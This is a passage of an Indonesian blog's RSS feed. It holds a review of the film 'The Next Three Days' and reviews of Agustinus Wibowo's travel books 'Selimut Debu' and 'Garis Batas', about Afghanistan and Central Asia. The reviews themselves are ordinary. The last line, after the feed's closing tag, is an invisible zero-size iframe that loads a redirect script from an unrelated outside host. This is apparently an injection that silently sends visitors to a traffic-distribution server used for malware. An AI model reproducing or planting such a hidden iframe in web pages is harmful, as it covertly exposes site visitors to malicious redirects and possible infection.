<p>Sebuah pertemuan dengan seorang narapidana yang 7 kali meloloskan diri dari penjara membuat jalan pikiran John berubah. Ketika jalur resmi mentok dia tergoda untuk menyusun sebuah rencana pelarian demi membebaskan istrinya dan membuat keluarga mereka berkumpul kembali.</p>
<p>Selanjutnya film berkisah tentang rencana pelarian yang disusun oleh John, bagaimana mempersiapkan banyak hal, mencoba beberapa metode dan bahkan melakukan sebuah tindakan ekstrem yang di luar kebiasaannya sebagai seorang pengajar.</p>
<div id="attachment_1816" class="wp-caption alignright" style="width: 340px"><a href="http://daenggassing.com/wp-content/uploads/2011/08/the-Next-Three-Days.jpg"><img class="size-full wp-image-1816" title="N3D_5404.NEF" src="http://daenggassing.com/wp-content/uploads/2011/08/the-Next-Three-Days.jpg" alt="" width="330" height="433" /></a><p class="wp-caption-text">Lara Brennan</p></div>
<p>Film kemudian diakhiri dengan potongan-potongan adegan eksekusi pelarian yang sudah disusun oleh John, lengkap dengan beberapa plot menegangkan dan ending yang mencengangkan.</p>
<p>Tiga perempat durasi berjalan lambat tapi tidak membosankan. Durasi lebih banyak berbicara tentang proses perubahan yang dialami John, dari seorang guru biasa yang kalem dan kemudian berubah menjadi 180 derajat. Di awal-awal juga diceritakan konflik antara pasangan John dan Lara menyangkut kehidupan anak semata wayang mereka Luke.</p>
<p>Menjelang akhir durasi, plot kemudian dibuat cepat dan menegangkan. Menegangkan bukan karena adegan tembak-tembakan atau kejar-kejaran di jalan raya tapi adegan-adegan tentang bagaimana John menuntaskan misinya membawa lari sang istri dari penjara. Sutradara Paul Higgins berhasil menarik penonton untuk ikut merasakan debar kekuatiran pasangan Brennan ini, termasuk pergulatan apakah mereka akan membawa anak mereka dalam pelarian itu atau meninggalkannya bersama orang tua mereka.</p>
<p>The Next Three Days berkisah tentang bagaimana kekuatan cinta mampu membuat seorang lelaki biasa berubah 180 derajat, menantang kesulitan dan hadangan terberat sekalipun yang ada di depan matanya untuk menyelamatkan orang yang dia cintai. Demi sebuah kebersamaan, bersama mereka yang dia cintai.</p>
<p>Film ini dikemas dengan cukup apik, plot yang bermain tidak stagnan membuat penonton terlarut dalam jalinan cerita, ikut merasakan kesedihan keluarga kecil tersebut yang terpisah karena sang ibu harus dipenjara, merasakan kerasnya perjuangan sang ayah yang menempuh segala cara untuk menyelamatkan sang istri serta tentu saja detik-detik menegangkan ketika mereka menjalankan rencana pelarian tesebut.</p>
<p>Paul Higgins juga berhasil membuat penonton merasakan beratnya derita seorang ibu yang berpisah dari anaknya dan kemudian malah menghadapi penolakan dari sang anak yang malu karena ibuya seorang narapidana, pun dengan perasaan sang ayah yang selalu berbohong demi menciptakan suasana seolah-olah semuanya baik-baik saja.</p>
<p>Satu pertanyaan yang kemudian tertinggal bagi para penonton adalah, benarkah Lara yang membunuh sang boss ? Pertanyaan yang tidak pernah ditanyakan John sepanjang film. John sudah terlalu dibutakan oleh cintanya pada Lara, dan cintanya pada Luke anak semata wayang mereka.</p>
<p>Trailer The Next Three Days :</p>
<p><iframe src="http://www.youtube.com/embed/lti0vfCPZns" frameborder="0" width="640" height="390"></iframe></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/08/the-next-three-days-perjuangan-demi-cinta/" title="the next three days">the next three days</a> (13)</li><li><a href="http://daenggassing.com/2011/08/the-next-three-days-perjuangan-demi-cinta/" title="jonh pantau">jonh pantau</a> (3)</li><li><a href="http://daenggassing.com/2011/08/the-next-three-days-perjuangan-demi-cinta/" title="the next tre day">the next tre day</a> (2)</li><li><a href="http://daenggassing.com/2011/08/the-next-three-days-perjuangan-demi-cinta/" title="cerita tentang perjuangan sebuah cinta">cerita tentang perjuangan sebuah cinta</a> (2)</li><li><a href="http://daenggassing.com/2011/08/the-next-three-days-perjuangan-demi-cinta/" title="perjuangan demi cinta">perjuangan demi cinta</a> (2)</li></ul><div class="shr-publisher-1814"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F08%2Fthe-next-three-days-perjuangan-demi-cinta%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/08/the-next-three-days-perjuangan-demi-cinta/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Selimut Debu ; Menyingkap Wajah Lain Afghanistan</title>
		<link>http://daenggassing.com/2011/07/selimut-debu-menyingkap-wajah-lain-afghanistan/</link>
		<comments>http://daenggassing.com/2011/07/selimut-debu-menyingkap-wajah-lain-afghanistan/#comments</comments>
		<pubDate>Tue, 05 Jul 2011 09:31:40 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Buku-ku]]></category>
		<category><![CDATA[Review]]></category>
		<category><![CDATA[Agustinus Wibowo]]></category>
		<category><![CDATA[Review Buku]]></category>
		<category><![CDATA[Selimut Debu]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=1666</guid>
		<description><![CDATA[&#8221; Berapa harga kepala kambing ini ? &#8221; , Tanya seorang pembeli &#8221; Lima puluh afghani &#8220;, Jawab penjual &#8221; Lima puluh ? Mahal sekali, dua puluh saja &#8220;, Si Pembeli menawar &#8221; Apa ? Dua puluh ? Kamu gila ? Kamu kira ini kepala manusia ? &#8220; **lelucon dari Kandahar, Afghanistan. Apa yang anda [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_1667" class="wp-caption aligncenter" style="width: 620px"><a href="http://daenggassing.com/wp-content/uploads/2011/07/Selimut-Debu_2.jpg"><img class="size-full wp-image-1667" title="Selimut Debu_2" src="http://daenggassing.com/wp-content/uploads/2011/07/Selimut-Debu_2.jpg" alt="" width="610" height="411" /></a><p class="wp-caption-text">Buszkashi, olahraga khas Afghanistan (foto by:avgustin.net)</p></div>
<h3 align="left">&#8221; Berapa harga kepala kambing ini ? &#8221; , Tanya seorang pembeli</h3>
<h3 align="left">&#8221; Lima puluh afghani &#8220;, Jawab penjual</h3>
<h3 align="left">&#8221; Lima puluh ? Mahal sekali, dua puluh saja &#8220;, Si Pembeli menawar</h3>
<h3 align="left">&#8221; Apa ? Dua puluh ? Kamu gila ? Kamu kira ini kepala manusia ? &#8220;</h3>
<h3 align="left"><em>**lelucon dari Kandahar, Afghanistan.</em></h3>
<p align="left">Apa yang anda bayangkan tentang Afghanistan ? Sebuah negara yang akrab dengan perang ? Bom bunuh diri ? Roket ? Kemiskinan ? Perempuan dengan wajah tertutupi <em>burqa</em> ? Alam yang ganas ? Debu yang selalu menyelimuti ? Semua mungkin benar.</p>
<p align="left">Bagi seorang <strong><a href="http://avgustin.net/">Agustinus Wibowo</a></strong>, Afghanistan adalah sebuah negeri yang penuh misteri. Maret 2001, gerilyawan Taliban merobohkan patung Buddha raksasa di Afghanistan dan ditayangkan ke seluruh dunia. Tak ada yang mengira kalau tayangan itu justru membuat seorang lelaki kewarganegaraan Indonesia jatuh cinta pada alam yang menjadi latar belakang adegan perubuhan patung tersebut.</p>
<p align="left"><strong>Agustinus Wibowo</strong> secara ajaib merasakan sebuah panggilan dari negeri yang porak-poranda karena perang itu. Sebuah mimpi kemudian makin menguatkan ambisinya untuk mengunjungi negeri di utara Pakistan tersebut.</p>
<p align="left"><span id="more-1666"></span>Agustinus akhirnya masuk ke Afghanistan. Bukan sebagai seorang turis, tapi sebagai seorang pengembara. Merangsek sampai ke jantung Afghanistan, bergaul dengan warga lokal, mencecap budaya setempat, dengan bekal uang a la kadarnya dan hanya berbekal keberanian yang kadang tidak masuk akal.</p>
<p align="left">Afghanistan begitu jauh merasuk ke dalam nadinya, membuat perjalanan berat dengan mobil-mobil tua nan renta dinikmatinya apa adanya. Tidur di kedai teh yang bobrok, berkawan dengan lalat dan nyamuk, bahkan Agustinus sempat berjalan kaki 40 KM hanya karena kalimat <strong>&#8220;tidak jauh lagi&#8221;</strong> . Bahkan yang paling parah, Agustinus berkali-kali mengalami pelecehan seksual, ditawar lelaki dan bahkan nyaris diperkosa. Hanya keteguhan luar biasalah yang membuat lelaki asal Lumajang itu tidak mengendurkan langkahnya dan terus berjalan menyusuri Afghanistan.</p>
<div id="attachment_1668" class="wp-caption alignleft" style="width: 210px"><a href="http://daenggassing.com/wp-content/uploads/2011/07/selimut-debu.jpg"><img class="size-full wp-image-1668" title="selimut-debu" src="http://daenggassing.com/wp-content/uploads/2011/07/selimut-debu.jpg" alt="" width="200" height="290" /></a><p class="wp-caption-text">Cover Selimut Debu</p></div>
<p align="left"><a href="http://daenggassing.com/selimut-debu-menyingkap-wajah-lain-afghanistan/"><strong>Selimut Debu</strong></a> menyingkap wajah Afghanistan. Negeri yang selama ratusan tahun terus dikuasai negeri asing, mengusir para penjajah, dijajah lagi, mengusir penjajah lagi, perang antar etnis dan kemudian jatuh dalam kemelaratan yang panjang.</p>
<p align="left">Afghanistan adalah sebuah negeri indah ibarat surga yang terlupakan. Tak banyak yang tahu kalau Afghanistan menyimpan lukisan alam yang begitu memukau. Deretan bukit gersang yang tertutupi salju di musim dingin, hamparan padang rumput yang menghijau, atau bahkan hamparan padang pasir yang gersang sejauh mata memandang.</p>
<p align="left">Dalam <strong>Selimut Debu</strong>, Agustinus juga menuliskan ragam budaya khas Afghanistan. Bagaimana orang Afghan menghargai para tamunya, bahkan rela mati demi tamunya. Bagaimana orang Afghan tak pernah secara frontal mengatakan <strong>tidak</strong> untuk menunjukkan penolakan. Orang Afghan lebih suka mengutarakan alasan yang berbelit-belit untuk menunjukkan kalau mereka sebenarnya keberatan. Kita yang harus pandai <em>membaca gelagat</em>.</p>
<p align="left"><a href="http://daenggassing.com/selimut-debu-menyingkap-wajah-lain-afghanistan/"><strong>Selimut Debu</strong></a> juga menceritakan tentang tradisi bachabazi. Tradisi yang sudah mengakar ratusan tahun pada suku Pashtun di Afghanistan, tradisi yang memungkinkan para pria dewasa menyodomi lelaki-lelaki muda demi kepuasan seksual mereka. Beragam alasan yang melatarbelakangi tradisi ini, salah satunya karena begitu tertutupnya pergaulan antara pria dan wanita di Afghanistan atau mahalnya harga mahar untuk bisa meminang seorang wanita Afghan.</p>
<p align="left"><strong>Selimut Debu</strong> adalah sebuah memoar tentang sebuah negeri yang kadang lebih kita kenal sebagai negeri yang asyik masyuk dengan perang. Banyak cerita dan fakta tentang Afghanistan yang diceritakan dengan sangat runut oleh Agustinus Wibowo dalam buku <strong>Selimut Debu</strong>.</p>
<div id="attachment_1669" class="wp-caption alignright" style="width: 310px"><a href="http://daenggassing.com/wp-content/uploads/2011/07/Selimut-debu_4.jpg"><img class="size-medium wp-image-1669" title="Selimut debu_4" src="http://daenggassing.com/wp-content/uploads/2011/07/Selimut-debu_4-300x225.jpg" alt="" width="300" height="225" /></a><p class="wp-caption-text">Pengemis di Kabul (foto by:Avgustin.net)</p></div>
<p align="left">Membaca <strong>Selimut Debu</strong>, kita akan bersyukur bahwa kita lahir dan besar di Indonesia, negeri yang relatif lebih aman meski masih saja dirundung berbagai kesulitan. Ragam kesulitan yang kita rasakan di Indonesia ternyata tidak ada apa-apanya dibanding dengan kesulitan rakyat Afghan yang sangat akrab dengan kemiskinan dan kemelaratan di negeri yang tak kunjung damai.</p>
<p align="left">Anda yang menyukai laporan perjalanan bernuansa jurnalistik pasti akan menyukai buku ini. Berbagai renungan tentang kehidupan ikut tersaji dalam buku setebal 461 halaman ini. Terima kasih untuk Agustinus Wibowo yang karena kecintaan, keteguhan hati dan rasa penasarannya yang luar biasa besar itu memungkinkan buku <a href="http://daenggassing.com/selimut-debu-menyingkap-wajah-lain-afghanistan/"><strong>Selimut Debu</strong></a> ini hadir di tangan kita para pembacanya.</p>
<p align="left"><strong><em>Tashakor ya Avgustin.</em></strong></p>
<p align="left">baca buku lain dari Agustinus Wibowo : <a href="http://daenggassing.com/garis-batas-cerita-tentang-ragam-batas-dalam-kehidupan-manusia/"><strong>Garis Batas.</strong></a></p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/07/selimut-debu-menyingkap-wajah-lain-afghanistan/" title="selimut debu">selimut debu</a> (11)</li><li><a href="http://daenggassing.com/2011/07/selimut-debu-menyingkap-wajah-lain-afghanistan/" title="www avgustin net">www avgustin net</a> (8)</li><li><a href="http://daenggassing.com/2011/07/selimut-debu-menyingkap-wajah-lain-afghanistan/" title="WAJAH pengemis">WAJAH pengemis</a> (3)</li><li><a href="http://daenggassing.com/2011/07/selimut-debu-menyingkap-wajah-lain-afghanistan/" title="Wajah perempuan di Afghanistan">Wajah perempuan di Afghanistan</a> (2)</li><li><a href="http://daenggassing.com/2011/07/selimut-debu-menyingkap-wajah-lain-afghanistan/" title="buku tentang afganistan">buku tentang afganistan</a> (1)</li></ul><div class="shr-publisher-1666"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F07%2Fselimut-debu-menyingkap-wajah-lain-afghanistan%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/07/selimut-debu-menyingkap-wajah-lain-afghanistan/feed/</wfw:commentRss>
		<slash:comments>20</slash:comments>
		</item>
		<item>
		<title>Garis Batas ; Cerita Tentang Ragam Batas Dalam Kehidupan Manusia</title>
		<link>http://daenggassing.com/2011/06/garis-batas-cerita-tentang-ragam-batas-dalam-kehidupan-manusia/</link>
		<comments>http://daenggassing.com/2011/06/garis-batas-cerita-tentang-ragam-batas-dalam-kehidupan-manusia/#comments</comments>
		<pubDate>Thu, 23 Jun 2011 03:05:06 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Buku-ku]]></category>
		<category><![CDATA[Review]]></category>
		<category><![CDATA[Agustinus Wibowo]]></category>
		<category><![CDATA[Avgustin]]></category>
		<category><![CDATA[buku garis batas]]></category>
		<category><![CDATA[Garis Batas]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=1634</guid>
		<description><![CDATA[Sebuah rekor baru. Di jaman digital ketika twitter jadi salah satu bagian yang paling menyita perhatian dalam kehidupan saya, membaca buku jadi sebuah aktifitas yang berat untuk dijalani. Tapi, sebuah rekor baru saja saya torehkan. Buku setebal 510 halaman berhasil saya selesaikan dalam 10 hari, berarti rata-rata 51 halaman per hari. Hal yang luar biasa [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p style="text-align: center;">
<div id="attachment_1637" class="wp-caption aligncenter" style="width: 626px"><a href="http://daenggassing.com/wp-content/uploads/2011/06/garisbatas1.jpg"><img class="size-full wp-image-1637 " title="_garisbatas1" src="http://daenggassing.com/wp-content/uploads/2011/06/garisbatas1.jpg" alt="" width="616" height="465" /></a><p class="wp-caption-text">Salah satu masjid di Uzbekistan (sumber : Avgustin.net)</p></div>
<h3>Sebuah rekor baru. Di jaman digital ketika twitter jadi salah satu bagian yang paling menyita perhatian dalam kehidupan saya, membaca buku jadi sebuah aktifitas yang berat untuk dijalani. Tapi, sebuah rekor baru saja saya torehkan. Buku setebal 510 halaman berhasil saya selesaikan dalam 10 hari, berarti rata-rata 51 halaman per hari. Hal yang luar biasa di tengah godaan update status, membalas mention atau mengomentari ocehan orang di twitter. Buku itu berjudul Garis Batas.</h3>
<p>Apa definisi anda tentang jalan-jalan ? mengunjungi tempat indah di negeri yang aman ? menikmati debur ombak, langit biru dan air laut yang hangat ? menikmati spa, makanan enak dan pelayanan kelas 1 di hotel berbintang 5 ? Jujur saja, banyak orang yang mendambakan jalan-jalan seperti itu. Anda mungkin salah satunya.</p>
<p>Tapi bagi seorang <strong><a href="http://avgustin.net/">Agustinus Wibowo</a></strong>, bukan jalan-jalan seperti itu yang dia nikmati. Bagi Agustinus ( atau kemudian lebih akrab disapa Avgustin ) jalan-jalan berarti mengunjungi pelosok negeri yang tersembunyi jauh dari keramaian, jauh dari rasa aman atau bahkan tak ada dalam peta. Jalan-jalan berarti masuk ke dalam perkampungan kumuh, bertemu dengan orang-orang baru, tidur di hostel berfasilitas sangat minim, mempelajari adat-istiadat dan kebudayaan warga setempat, dan kadang bahkan berurusan dengan tentara, polisi atau agen rahasia.</p>
<p>Buang jauh-jauh bayangan tentang liburan seperti paragraf pertama di atas.</p>
<p><span id="more-1634"></span>Agustinus Wibowo, seorang pemuda kelahiran Lumajang, Jawa Timur. Seorang kutu buku di jaman SMA yang kemudian seperti terlahir kembali sebagai seorang pengembara. Dia melangkahkan kakinya ke beberapa negara di Asia Tengah. Masuk ke Mongolia, Afghanistan, Tajikistan, Kyrgysztan, Uzbekistan, Kazakstan dan Turkmenistan dan kemudian mencatat banyak hal dari perjalanannya, menemukan banyak hal dan merenungkan banyak hal.</p>
<div id="attachment_1635" class="wp-caption alignright" style="width: 327px"><a href="http://daenggassing.com/wp-content/uploads/2011/06/garisbatas.jpg"><img class="size-full wp-image-1635" title="_garisbatas" src="http://daenggassing.com/wp-content/uploads/2011/06/garisbatas.jpg" alt="" width="317" height="475" /></a><p class="wp-caption-text">Cover buku Garis Batas</p></div>
<p>Dalam buku <a href="http://daenggassing.com/garis-batas-cerita-tentang-ragam-batas-dalam-kehidupan-manusia/"><strong>Garis Batas</strong></a> yang adalah buku kedua berisi catatan perjalanannya setelah <a href="http://daenggassing.com/selimut-debu-menyingkap-wajah-lain-afghanistan/"><strong>Selimut Debu</strong></a>, Agustinus bercerita banyak tentang kondisi negara-negara pecahan Uni Sovyet tersebut. Negara-negara yang hampir selama satu abad tidak pernah didengar namanya oleh orang di Bumi sebelum akhirnya muncul satu persatu di atas peta meski tetap menyimpan sejuta misteri. Negara-negara yang menyimpan romantika kemashyuran ketika menjadi bagian dari jalur sutra tapi kemudian kabur, kerdil dan tunduk dalam pengaruh Uni Sovyet.</p>
<p>Selepas runtuhnya raksasa Uni Sovyet, negara-negara kecil itu gamang. Selama pendudukan Uni Sovyet identitas asli mereka dibungkam. Kaum Kazakh yang nomaden dipaksa menetap dalam satu negara, kebudayaan Islam yang mengakar selama berabad-abad dibungkam, bahasa lokal dikaburkan dan semua diseragamkan. Semua harus tunduk pada Stalin dan Lenin, patuh pada komunisme dan diam dalam jutaan aturan yang mengikat.</p>
<p>Efeknya, ketika Uni Sovyet runtuh negara-negara kecil itu kebingungan menggali kembali jati diri mereka. Kebingungan memaknai garis batas yang selama ini diciptakan oleh Uni Sovyet, bingung untuk menarik garis batas yang baru dan bingung untuk melintasi garis batas yang sudah ada selama ini. Hingga kemudian muncul kerancuan, ketidakteraturan dan bahkan kericuhan serta kemiskinan dan kemelaratan yang terus berlanjut.</p>
<p>Buku ini tidak sekadar bercerita tentang sebuah perjalanan ke negeri-negeri eksotis dan jarang diekspos. Buku ini bercerita banyak tentang beragam garis batas yang secara tidak sadar sudah ikut mengalir dalam darah kita di detik ketika kita hadir ke muka bumi.</p>
<p>Kewarganegaraan, suku, agama, warna kulit, bahasa, status sosial, semua adalah garis batas yang mengikut tanpa kita minta, dia lahir ketika kita juga lahir. Tidak semua orang bisa menerima garis batas tersebut. Sebagian orang menciptakan perang untuk melindungi garis batasnya, menciptakan garis batas yang baru meski harus berlumuran darah.</p>
<p><a href="http://daenggassing.com/garis-batas-cerita-tentang-ragam-batas-dalam-kehidupan-manusia/">Garis batas</a> itu pula yang membuat Suhrat (bab : Dunia Tanpa Batas) menjadi manusia tanpa kewarganegaraan. Dia lahir di Turkmenistan tapi bersekolah di Tashkent, Uzbekistan. Waktu itu identitasnya jelas : warga Uni Sovyet. Ketika Uni Sovyet runtuh, dia kehilangan identitas. Tidak diakui oleh Uzbekistan dan ditolak Turkmenistan. Jadilah dia manusia tanpa kewarganegaraan. Sebuah garis batas mengungkung hidupnya, membuatnya sulit ke mana-mana. Bahkan untuk pulang ke kampung halaman sendiri.</p>
<p>Garis batas itu juga yang membuat dua buah negara yang hanya dipisahkan sungai berjarak 20 M tapi punya peradaban yang nyaris terpisah jarak 100 tahun. Warga Afghanistan di sisi yang satu masih akrab dengan keledai dan kuda, menatap penuh rasa penasaran pada warga Tajikistan di seberang sana yang melintas di atas mobil di aspal yang mulus. Sungguh ironis bagaimana sebuah garis batas membuat dua negara seakan terpisah jarak waktu yang panjang.</p>
<p>Buku ini berisi banyak cerita tentang pergulatan manusia di beberapa negara di Asia Tengah. Manusia yang bergulat melawan garis batas kehidupan, yang nyata ataupun imajiner. Garis-garis batas yang begitu nyata memisahkan manusia satu dengan manusia lainnya, mengkotakkan manusia menurut garisnya masing-masing.</p>
<div id="attachment_1638" class="wp-caption alignleft" style="width: 308px"><a href="http://daenggassing.com/wp-content/uploads/2011/06/agustinus.jpg"><img class="size-full wp-image-1638" title="_agustinus" src="http://daenggassing.com/wp-content/uploads/2011/06/agustinus.jpg" alt="" width="298" height="225" /></a><p class="wp-caption-text">Agustinus Wibowo</p></div>
<p>Agustinus Wibowo menuliskan renungannya yang panjang, renungan yang muncul dari perjalanan panjangnya ke negeri-negeri berakhiran Stan itu. Sebagai warga keturunan, Agustinus juga pernah berada dalam posisi sulit akibat garis batas. Agustinus kecil selalu menjadi korban ejekan rasis karena asal-usulnya yang keturunan. Dia tidak dianggap Indonesia murni karena dalam darahnya mengalir darah China. Ketika berada di Beijing, dia juga tidak otomatis diterima di sana. Ras China-nya bukan jaminan dia bisa melebur dengan nyaman di negeri asal leluhurnya. Di sana dia juga harus menerima celaan akibat ulah sebagian orang Indonesia selepas kerusuhan Mei 1999. Garis batas imajiner yang begitu menyulitkan.</p>
<p>Jangan harap anda akan menemukan tips berwisata dalam buku Garis Batas ini meski isinya memang tentang jalan-jalan. Tidak ada daftar harga tiket, harga penginapan, pilihan moda transportasi, harga makanan atau daftar tujuan wisata. Buku ini sepenuhnya berisi cerita tentang perjalanan tidak biasa yang kemudian dibubuhi kesimpulan dari sebuah perenungan.</p>
<p>Garis Batas sesungguhnya adalah sebuah buku yang banyak becerita tentang garis-garis batas yang kita punyai dan kita hadapi sehari-hari dalam kehidupan kita. Setiap dari kita punya garis batas sendiri-sendiri, tinggal bagaimana kita bisa berdamai dengan garis batas tersebut, menjadikannya sebagai sebuah keunikan dan bukan alasan untuk berpecah-belah.</p>
<p>Mari menemukan dan merenungkan <a href="http://daenggassing.com/garis-batas-cerita-tentang-ragam-batas-dalam-kehidupan-manusia/">garis batas </a>itu.</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/06/garis-batas-cerita-tentang-ragam-batas-dalam-kehidupan-manusia/" title="garis batas">garis batas</a> (9)</li><li><a href="http://daenggassing.com/2011/06/garis-batas-cerita-tentang-ragam-batas-dalam-kehidupan-manusia/" title="review garis batas agustinus wibowo">review garis batas agustinus wibowo</a> (1)</li><li><a href="http://daenggassing.com/2011/06/garis-batas-cerita-tentang-ragam-batas-dalam-kehidupan-manusia/" title="resensi buku garis batas">resensi buku garis batas</a> (1)</li><li><a href="http://daenggassing.com/2011/06/garis-batas-cerita-tentang-ragam-batas-dalam-kehidupan-manusia/" title="perkampungan Negara uzbekistan">perkampungan Negara uzbekistan</a> (1)</li><li><a href="http://daenggassing.com/2011/06/garis-batas-cerita-tentang-ragam-batas-dalam-kehidupan-manusia/" title="keunikan garis hidup seseorang">keunikan garis hidup seseorang</a> (1)</li></ul><div class="shr-publisher-1634"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F06%2Fgaris-batas-cerita-tentang-ragam-batas-dalam-kehidupan-manusia%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/06/garis-batas-cerita-tentang-ragam-batas-dalam-kehidupan-manusia/feed/</wfw:commentRss>
		<slash:comments>22</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
